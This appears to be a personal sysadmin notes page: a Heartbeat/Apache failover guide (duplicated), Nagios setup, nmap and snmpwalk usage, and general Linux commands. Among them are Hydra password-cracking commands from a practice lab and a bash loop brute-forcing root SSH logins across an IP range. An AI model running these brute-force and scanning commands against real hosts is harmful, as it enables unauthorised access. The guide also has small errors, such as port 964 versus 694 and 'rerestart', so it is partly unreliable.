Heartbeat

This guide configuring high availability HTTP cluster with Hearbeat on CentOS 6.5 - 64bits.

hb01 is a primary node with IP address 123.123.123.101 to eth1

hb02 is a slave node with IP address 123.123.123.102 to eth1.

123.123.123.100 is the virtual IP address that will be used for our Apache webserver

HB01:

Edit file hosts 

vim /etc/hosts

with content

123.123.123.101 hb01

123.123.123.102 hb02

Install EPEL and hearbeat

yum install epel-release

yum install heartbeat

Configurations

Copy the config sample file to directory /etc/ha.d/

cp /usr/share/doc/heartbeat-3.0.4/authkeys /etc/ha.d/

cp /usr/share/doc/heartbeat-3.0.4/ha.cf /etc/ha.d/

cp /usr/share/doc/heartbeat-3.0.4/haresources /etc/ha.d/

Edit file authkeys

vim /etc/ha.d/authkeys

add these lines:

auth 2

2 crc

 Change permission on file authkeys

chmod 600 /etc/ha.d/authkeys

Edit file ha.cf

vim /etc/ha.d/ha.cf

with content:

logfile /var/log/ha-log

logfacility     local0

keepalive 2

deadtime 10

warntime 5

initdead 20

udpport 694

ucast eth1 123.123.123.102

auto_failback on

node    hb01 hb02

Edit file haresources

vim /etc/ha.d/haresources

with content:

hb01    IPaddr::123.123.123.100/24/eth1:0 httpd

Start Hearbeat and enable in start up

service heartbeat start

chkconfig heartbeat on

Install Apache

yum install httpd

Append some text into index.html in DocumentRoot

echo "HB01 apache test server" > /var/www/html/index.html

Start Apache and enable in startup

service httpd start

chkconfig httpd on

Allow port 80 and 964 in iptables

vim /etc/sysconfig/iptables

Add 2 lines

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -m state --state NEW -m udp -p udp --dport 694 -j ACCEPT

 Save and exit

Restart IPTABLES

/etc/init.d/iptables rerestart

HB02:

Edit file hosts

vim /etc/hosts

With content:

123.123.123.101 hb01

123.123.123.102 hb02

Install EPEL and hearbeat

yum install epel-release

yum install heartbeat

Go to HB01 and copy the config   file (authkeys ha.cf haresources) to HB02

[root@hb01 ~]#  cd /etc/ha.d/

[root@hb01 ~]# scp authkeys ha.cf haresources root@123.123.123.102:/etc/ha.d/

Go to HB02

Update the config  file ha.cf

vim /etc/ha.d/ha.cf

Change line

ucast eth1 123.123.123.102

to

ucast eth1 123.123.123.101

Update the config  file haresources

vim /etc/ha.d/haresources

Update line

hb01    IPaddr::123.123.123.100/24/eth1:0 httpd

To

hb02    IPaddr::123.123.123.100/24/eth1:0 httpd

Install Apache

yum install httpd

Append some text into index.html in DocumentRoot

echo "HB02 apache test server" > /var/www/html/index.html

Stop service apache and disable on start up

service httpd stop

chkconfig httpd off

Note: Service Apache will be handled by Heartbeat

Allow port 80 and 964 in iptables

vim /etc/sysconfig/iptables

Add these 2 lines

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -m state --state NEW -m udp -p udp --dport 694 -j ACCEPT

Save and exit

Restart IPTABLES

/etc/init.d/iptables rerestart

Open up a browser and access to server IP: 

http://123.123.123.100 

will got access to ha01 server page

Now let make test to stop the heartbeat service on server ha01 and refresh the page. 

We should got as the page below:

Done,

Heartbeat

This guide configuring high availability HTTP cluster with Hearbeat on CentOS 6.5 - 64bits.

hb01 is a primary node with IP address 123.123.123.101 to eth1

hb02 is a slave node with IP address 123.123.123.102 to eth1.

123.123.123.100 is the virtual IP address that will be used for our Apache webserver

HB01:

Edit file hosts 

vim /etc/hosts

with content

123.123.123.101 hb01

123.123.123.102 hb02

Install EPEL and hearbeat

yum install epel-release

yum install heartbeat

Configurations

Copy the config sample file to directory /etc/ha.d/

cp /usr/share/doc/heartbeat-3.0.4/authkeys /etc/ha.d/

cp /usr/share/doc/heartbeat-3.0.4/ha.cf /etc/ha.d/

cp /usr/share/doc/heartbeat-3.0.4/haresources /etc/ha.d/

Edit file authkeys

vim /etc/ha.d/authkeys

add these lines:

auth 2

2 crc

 Change permission on file authkeys

chmod 600 /etc/ha.d/authkeys

Edit file ha.cf

vim /etc/ha.d/ha.cf

with content:

logfile /var/log/ha-log

logfacility     local0

keepalive 2

deadtime 10

warntime 5

initdead 20

udpport 694

ucast eth1 123.123.123.102

auto_failback on

node    hb01 hb02

Edit file haresources

vim /etc/ha.d/haresources

with content:

hb01    IPaddr::123.123.123.100/24/eth1:0 httpd

Start Hearbeat and enable in start up

service heartbeat start

chkconfig heartbeat on

Install Apache

yum install httpd

Append some text into index.html in DocumentRoot

echo "HB01 apache test server" > /var/www/html/index.html

Start Apache and enable in startup

service httpd start

chkconfig httpd on

Allow port 80 and 964 in iptables

vim /etc/sysconfig/iptables

Add 2 lines

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -m state --state NEW -m udp -p udp --dport 694 -j ACCEPT

 Save and exit

Restart IPTABLES

/etc/init.d/iptables rerestart

HB02:

Edit file hosts

vim /etc/hosts

With content:

123.123.123.101 hb01

123.123.123.102 hb02

Install EPEL and hearbeat

yum install epel-release

yum install heartbeat

Go to HB01 and copy the config   file (authkeys ha.cf haresources) to HB02

[root@hb01 ~]#  cd /etc/ha.d/

[root@hb01 ~]# scp authkeys ha.cf haresources root@123.123.123.102:/etc/ha.d/

Go to HB02

Update the config  file ha.cf

vim /etc/ha.d/ha.cf

Change line

ucast eth1 123.123.123.102

to

ucast eth1 123.123.123.101

Update the config  file haresources

vim /etc/ha.d/haresources

Update line

hb01    IPaddr::123.123.123.100/24/eth1:0 httpd

To

hb02    IPaddr::123.123.123.100/24/eth1:0 httpd

Install Apache

yum install httpd

Append some text into index.html in DocumentRoot

echo "HB02 apache test server" > /var/www/html/index.html

Stop service apache and disable on start up

service httpd stop

chkconfig httpd off

Note: Service Apache will be handled by Heartbeat

Allow port 80 and 964 in iptables

vim /etc/sysconfig/iptables

Add these 2 lines

-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT

-A INPUT -m state --state NEW -m udp -p udp --dport 694 -j ACCEPT

Save and exit

Restart IPTABLES

/etc/init.d/iptables rerestart

Open up a browser and access to server IP: 

http://123.123.123.100 

will got access to ha01 server page

Now let make test to stop the heart service on server ha01 and refresh the page. 

We should got as the page below:

Done,

NMAP - Top Command Usage

NMAP - Top Command Usage

- nmap 192.168.56.1
- nmap 192.168.56.1-255
- nmap 192.168.56.1 –p 80
- nmap 192.168.56.0/24 –p 1-1000
- nmap 192.168.56.0/24 --exclude 192.168.1.5
- nmap 192.168.56.0/24 --exclude 192.168.1.5,192.168.1.254
- nmap -F 192.168.56.1
- nmap -v -A 192.168.56.1 (operating system and its version)
- nmap -sA 192.168.1.254
- nmap -sA 192.168.1.254  (if a firewall is in place at the target network/IP)
- nmap -PN 192.168.1.1 (In case of firewalls, Nmap has a specific parameter to scan the target)
- nmap --packet-trace 192.168.1.1 (verbosity and see whether all the packets are sent/received)
- nmap –sV 192.168.56.1  (detect different services)

Hydra Bruteforce

Hydra Bruteforce

##############################
# 0: Simple Test Case
##############################
hydra -l root -p password attack.samsclass.info http-get /basic0/
URL: http://attack.samsclass.info/basic0

################
# 1: 3-Digit PIN
################
The username is one of these: root, admin, administrator
------------
root@vnkkali:~/Documents# cat usernames1
root
admin
administrator
-------------
create a file makepin3
root@vnkkali:~/Documents# cat makepin3
-------------------
#!/bin/bash

for i in 0 1 2 3 4 5 6 7 8 9
do
for j in 0 1 2 3 4 5 6 7 8 9
do
for k in 0 1 2 3 4 5 6 7 8 9
do
echo $i$j$k >> pin3
done
done
done
-------------------
Run this file to create a file name "pin3"

hydra -L usernames1 -P pin3 attack.samsclass.info http-get /basic1/
URL: http://attack.samsclass.info/basic1
######################
# 2: Top 50 Passwords
######################
The username is one of these: root, admin, administrator  
downlaod the top 50 passwords and name it top50.txt and attack
hydra -L usernames1 -P top50.txt attack.samsclass.info http-get /basic2/
URL: http://attack.samsclass.info/basic2

#########################################
# 3: Top 50 Passwords + a digit (10 pts.)
#########################################
The username is one of these: root, admin, administrator
hydra -L usernames1 -P top50.txt attack.samsclass.info http-get /basic3/
URL: http://attack.samsclass.info/basic3

#############
# 4: Login Form
#############
The username is one of these: root, admin, administrator

hydra -L usernames1 -x 2:2:a attack.samsclass.info http-get-form "/brute4.php:login=^USER^pw=^PASS^:Deny"

Source: http://attack.samsclass.info/brute.htm 

# Script Brute force SSH
#!/bin/bash
for i in 124.124.124.{167..170}
do 
hydra $i ssh -l root -P top50.txt -s 22 -vV
done

#Hydra #Brutefoce 

NMAP - Commands

NMAP - Commands

# One IP
nmap 192.168.56.1

# One Range
nmap 192.168.56.1-255

#Scan IP/Computer 
nmap -sP 192.168.56.0/24

#Check the type of the computer info:
nmap -sS -Pn -A 192.168.56.1

# scan the information of the operating system and its version
nmap -A 192.168.56.1
nmap -v -A 192.168.56.1

# check if a firewall is in place at the target network/IP
nmap -sA 192.168.1.254

# Detect different services running on the remote target
nmap –sV 192.168.56.1

# Specific port
nmap 192.168.56.1 –p 80

# Entire subnet with a specific port range
nmap 192.168.56.0/24 –p 1-1000

# Exclude host, hosts
nmap 192.168.56.0/24 --exclude 192.168.1.5
nmap 192.168.56.0/24 --exclude 192.168.1.5,192.168.1.254

# Speedy
nmap -F 192.168.56.1

Script - NMAP

Script - NMAP

=========================================================
#!/bin/bash
# This script is going to scan network 192.168.1.0/24 with name and
# append to file name host-up-with-ports.txt
nmap --top-ports 65535 192.168.1.0/24 &> host-up-with-ports.txt

=========================================================

#!/bin/bash

# This script is going to scan network 192.168.1.0/24 with name and

# append to file name hosts-up-with-name.txt

nmap -sP 192.168.1.0/24 |grep "Nmap scan report" >> hosts-up-with-name.txt

=========================================================

#!/bin/bash
# This script is going to ping all hosts in network 192.168.1.0/24
# and it will append all the hosts up to to file hosts-up.txt
check_ping()
{
  ping -c 1 $1 > /dev/null
  [ $? -eq 0 ] && echo Node with IP: $i is up.
}
for i in 192.168.1.{1..255}
do
check_ping $i |grep "Node with IP" >> hosts-up.txt
done

=========================================================
#!/bin/bash
# This is a master script going to run and call another script with the following optoins
clear
# Variables
user=$(whoami)
break="====================="
echo $break
echo "Hello H4cK3R%!"
echo $break
echo
echo "Welcome, Mr. $user"
echo
echo
echo "1. Check Hosts Up"
echo "2. Scan Hosts Up"
echo "3. Scan Hosts Ports"
echo ""
echo -n "Choice: "
read choice
echo $choice
case $choice in
        1) ./check_ping.sh;;
        2) ./scan-host-with-name.sh;;
        3) ./scan_ports.sh;;
        *) echo "Please Enter the valid option."
esac

SNMPWALK

snmpwalk

snmpwalk : retrieve a subtree of management values using SNMP GETNEXT requests.

snmpwalk [APPLICATION OPTIONS] [COMMON OPTIONS] [OID]

snmpwalk -v 2c -c C0mmunity 1.2.3.4 .1.3.6.1.4.1.8886.18.2.6.3.3.1.6.10234001

C0mmunity = Community Name
1.2.3.4 = IP address of device
.1.3.6.1.4.1.8886.18.2.6.3.3.1.6.10234001 = OID

example another command:

snmpwalk -mALL -v1 -c C0mmunity 1.2.3.4 system


#SNMP #SNMWALK

Simple Nagios

Nagios is one of the power full monitoring system.

This script work well on OS: CentOS 64bit , Version 6.2 

Copy all the red.

#!/bin/bash

# Copy this and paste into a file name: install-nagios.sh

# Make it executable by: chmod +x install-nagios.sh

# Run this file: ./install-nagios.sh

####################

# HowTheScriptDoes #

####################

# 1. Add Repo

echo ""

echo "Adding repo..."

echo ""

wget http://epel.mirror.net.in/epel/6/i386/epel-release-6-8.noarch.rpm

rpm -ivh epel-release-6-8.noarch.rpm

# 2. Install dependencies

echo ""

echo "Install dependencies ..."

echo ""

yum -y install httpd php gcc glibc glibc-common gd gd-devel make net-snmp

# 3. Install Nagios

echo ""

echo "Instailling Nagios ..."

echo ""

yum -y install nagios*

# 4. Create user: nagiosadmin

echo ""

echo "Creating user: nagiosadmin ,Please Enter the Password: ..."

htpasswd /etc/nagios/passwd nagiosadmin

# 5. Start web service and Nagios

echo ""

echo "Starting web service and Nagios ..."

service httpd start

chkconfig nagios on

service nagios start

chkconfig httpd on

# 6. Allow port 80

echo ""

echo "Accepting Port 80 ..."

sed -i -e '/22/a \-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT' /etc/sysconfig/iptables

echo "Restarting service iptables ..."

service iptables restart

# 7. Finished,

echo ""

echo ""

echo "Enjoy, ... Access to your Nagios Server by: http://server-ip/nagios with your password."

Copy File and Folder Older then 7days

Copy File and Folder Older then 7days

find /in/this/directory/ -mtime -7 -exec cp -p {} /to/new/path/ \;

Note:

-7 = Last 7 days

cp -p = Copy and keep the owner,permission and timestamp

Rename Multiple File In One Command

Rename Multiple File In One Command

for FILE in *.txt ; do mv $FILE $FILE-04092014 ; done

Linux Command

Linux Command

sed

find

check linux system info:
# lsb_release -a

get the key in ubuntu:
# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 16126D3A3E5C1192

scan IP in the network
# arp-scan --interface=eth1 10.0.0.0/8
# arp-scan -I wlan1 10.0.0.0/8

List process user
# ps -o ruser,pid
List process with the pid
lsof -p pid

Command scp with key file copy file application.tar.gz to server001 and put in /home/user
sudo scp -i /home/vannak/server-key.pem application.tar.gz user@server001:/home/user

List Mount Device and Mount Informations:
lsblk

Download with Aria2c
aria2c -s 10 http://web-site.com/applications.tar.gz -d /where/to/store
or write down in a script:
#!/bin/bash
# download
    if (! test $1)
         then
              echo "Usage: $0 link-download"
         exit 1
    fi
aria2c -s10 $1 -d /where/to/store >/dev/null 2>&1 &

RSYNC

rsync from other server to keep in our computer
rsync -avz user@server001:/path/to/sync/file001.tar.gz /where/to/keep/
rsync from our computer to server
rsync -avz /what/we/to/sync/ user@server001:/path/to/keep/on/server

SSHPASS
sshpass -p 'sshpassword' scp -r user@server001:/part/of/folder/ /local/path/folder

How to Get Mail when the system restart by add this line in cronjob in the system (crontab -e)
@reboot  echo "Server has restarted "`hostname` | mail -s "System Restart" vannakk@gmail.com